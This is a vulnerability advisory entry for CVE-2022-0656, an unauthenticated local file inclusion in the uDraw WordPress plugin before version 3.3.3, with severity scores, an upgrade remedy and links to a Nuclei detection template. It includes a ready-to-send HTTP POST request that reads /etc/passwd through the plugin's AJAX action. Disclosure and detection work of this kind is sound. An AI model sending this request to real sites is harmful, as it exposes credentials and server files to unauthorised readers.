| Title | uDraw <3.3.3 - Local File Inclusion |
|---|---|
| Author | akincibor |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server. |
| Remediation | Upgrade uDraw to version 3.3.3 or later to mitigate the vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.68162 |
| CVE ID | CVE-2022-0656 |
| CWE ID | CWE-552 |
| Tags | cve cve2022 wp wordpress wp-plugin unauth lfi udraw wpscan webtoprint vkev vuln |
uDraw before 3.3.3 does not validate the url parameter in its udraw_convert_url_to_base64 AJAX action (available to both unauthenticated and authenticated users) before using it in the file_get_contents function and returning its content base64 encoded in the response. As a result, unauthenticated users could read arbitrary files on the web server (such as /etc/passwd, wp-config.php etc).
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Safari/605.1.15
Connection: close
Content-Length: 50
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
action=udraw_convert_url_to_base64&url=/etc/passwd
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0656.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0656.pcap
N/AN/A